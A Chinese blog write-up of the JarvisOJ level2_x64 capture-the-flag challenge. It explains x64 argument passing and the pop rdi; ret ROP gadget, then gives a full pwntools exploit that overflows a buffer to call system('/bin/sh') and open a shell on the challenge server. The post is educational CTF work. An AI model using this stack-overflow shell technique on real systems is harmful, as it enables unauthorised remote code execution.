JarvisOJ level2x64

这题和level2的漏洞和处理方式差不多,只不过level2是x86而这题是x64的

前言:

首先,我们先看一下x64和x86的区别:

linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。
——引自于蒸米大神的一步一步学ROP
蒸米大神解释的十分通透,对于这一题,我们知道system函数只有一个参数,也就是说,这个参数应该是保存在RDI中,而不会保存到栈上面,不然的话就是第7个参数了,但是我们在进行栈溢出的时候,并不能直接写到寄存器中去。这里,我们就必须用到一些其他的方法。

使用gadget控制RDI等寄存器

所谓gadget,通俗来讲就是程序中的一些小指令,因为我们在一个程序中,不一定能找到刚好符合我们想法一大段的指令(就像system函数和/bin/sh不会每次都以system(’/bin/sh’)出现给你直接使用),我们就只能找一些零碎的片段,再组合起来慢慢使用。
关于寻找gadget的方法,建议看蒸米大神的《一步一步学ROP之linux_x64篇》
在这里,我就使用其中的一种方法寻找gadget。

拿到题目,首先我们还是查看一下保护:
在这里插入图片描述
程序只开启了NX保护,这里和level2差不多。
打开IDA,我们看一下程序的逻辑:
在这里插入图片描述
我们可以看到在vul()函数中有一个read函数存在栈溢出漏洞。
看了一下,程序基本和level2相似,我们就直接构造payload,因为这里使x64的程序,所以我们构造payload应该这样:
在这里插入图片描述
我们使用pop_ret将我们写到栈中的参数放到RDI中(大佬们称此为平衡栈帧)。
接下来我们只要找到一个pop rdi;ret 就可以了。
这里,我们使用ROPgadget寻找这个指令片段:
在这里插入图片描述
程序中正好有我们想要的pop rdi ; ret 片段,我们直接利用起来构造payload就行了。完整的exp如下:

#!/usr/bin/env python
from pwn import *
p=remote('pwn2.jarvisoj.com',9882)
p.recvuntil('Input:')
system_addr=0x04004c0
pop_addr=0x04006b3
sh_addr=0x0600a90
payload='a'*0x80+'a'*8+p64(pop_addr)+p64(sh_addr)+p64(system_addr)+'a'*8
p.sendline(payload)
p.interactive()

运行结果如下:
在这里插入图片描述

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
JarvisOJLevel2题目中,给出了三个关于解题的代码片段的引用。引用和都是给出了关于解题的代码,其中引用是关于x64架构的代码,引用是关于i386架构的代码。这些代码都是用于获取Shell的payload。而引用则是对这个题目的解题思路的说明。 具体来说,在这个题目中,程序调用了system函数,并且存在/bin/sh字符串。通过对return address进行覆盖,可以将程序的控制流引导到system函数,并将/bin/sh字符串作为参数传递给它,从而获取Shell。其中,payload中的一些关键地址和字符串的具体值需要根据具体题目的情况来确定。 需要注意的是,这个题目的具体实现可能与上述引用中的代码有所不同,因此需要根据实际情况进行调整。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [jarvisoj_level2_x64](https://blog.csdn.net/zip471642048/article/details/125448386)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [jarvisoj_level2](https://blog.csdn.net/m0_55086916/article/details/128089924)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值